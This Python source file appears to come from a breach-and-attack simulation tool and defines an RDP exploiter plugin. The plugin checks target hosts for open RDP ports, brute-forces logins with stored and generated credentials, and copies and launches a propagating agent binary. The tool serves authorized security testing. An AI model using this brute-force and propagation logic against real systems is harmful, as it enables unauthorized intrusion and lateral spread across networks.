import logging
from functools import partial
from pprint import pformat
from typing import Any, Dict, Sequence

# common imports
from common import OperatingSystem
from common.agent_events import AgentEventTag
from common.event_queue import IAgentEventPublisher
from common.types import AgentID, Event
from common.utils.code_utils import del_key
from common.utils.environment import get_os

# dependencies to get rid of or internalize
from infection_monkey.exploit import IAgentBinaryRepository, IAgentOTPProvider
from infection_monkey.exploit.tools import (
    BruteForceCredentialsProvider,
    BruteForceExploiter,
    all_tcp_ports_are_closed,
)
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
from infection_monkey.i_puppet import ExploiterResult, TargetHost
from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository

from .rdp_command_builder import build_rdp_command
from .rdp_credentials_generator import generate_rdp_credentials
from .rdp_options import RDPOptions
from .rdp_remote_access_client import RDP_PORTS
from .rdp_remote_access_client_factory import RDPRemoteAccessClientFactory

logger = logging.getLogger(__name__)


def should_attempt_exploit(host: TargetHost) -> bool:
    return not all_tcp_ports_are_closed(host, RDP_PORTS)


class Plugin:
    def __init__(
        self,
        *,
        plugin_name: str,
        agent_id: AgentID,
        agent_event_publisher: IAgentEventPublisher,
        agent_binary_repository: IAgentBinaryRepository,
        propagation_credentials_repository: IPropagationCredentialsRepository,
        otp_provider: IAgentOTPProvider,
        **kwargs,
    ):
        self._plugin_name = plugin_name
        self._agent_id = agent_id
        self._agent_event_publisher = agent_event_publisher
        self._agent_binary_repository = agent_binary_repository
        self._propagation_credentials_repository = propagation_credentials_repository
        self._otp_provider = otp_provider

    def run(
        self,
        *,
        host: TargetHost,
        servers: Sequence[str],
        current_depth: int,
        options: Dict[str, Any],
        interrupt: Event,
        **kwargs,
    ) -> ExploiterResult:
        # HTTP ports options are hack because they are needed in fingerprinters
        del_key(options, "http_ports")

        try:
            logger.debug(f"Parsing options: {pformat(options)}")
            rdp_options = RDPOptions(**options)
        except Exception as err:
            msg = f"Failed to parse RDP options: {err}"
            logger.exception(msg)
            return ExploiterResult(error_message=msg)

        if not should_attempt_exploit(host):
            msg = f"Host {host.ip} has no open RDP ports"
            logger.debug(msg)
            return ExploiterResult(
                exploitation_success=False, propagation_success=False, error_message=msg
            )

        rdp_command_builder = partial(
            build_rdp_command,
            agent_id=self._agent_id,
            servers=servers,
            current_depth=current_depth,
            otp_provider=self._otp_provider,
        )
        rdp_remote_access_client_factory = RDPRemoteAccessClientFactory(
            host,
            rdp_options,
            rdp_command_builder,
        )
        running_from_windows = get_os() == OperatingSystem.WINDOWS
        credentials_generator = partial(
            generate_rdp_credentials,
            domains=rdp_options.domains,
            running_from_windows=running_from_windows,
        )
        credentials_provider = BruteForceCredentialsProvider(
            self._propagation_credentials_repository, credentials_generator
        )
        brute_force_exploiter = BruteForceExploiter(
            self._plugin_name,
            self._agent_id,
            get_agent_dst_path(host),
            rdp_remote_access_client_factory,
            credentials_provider,
            self._agent_binary_repository,
            self._agent_event_publisher,
            {AgentEventTag("rdp-exploiter")},
        )

        try:
            logger.debug(f"Running RDP exploiter on host {host.ip}")
            return brute_force_exploiter.exploit_host(host, interrupt)
        except Exception as err:
            msg = f"An unexpected exception occurred while attempting to exploit host: {err}"
            logger.exception(msg)
            return ExploiterResult(error_message=msg)
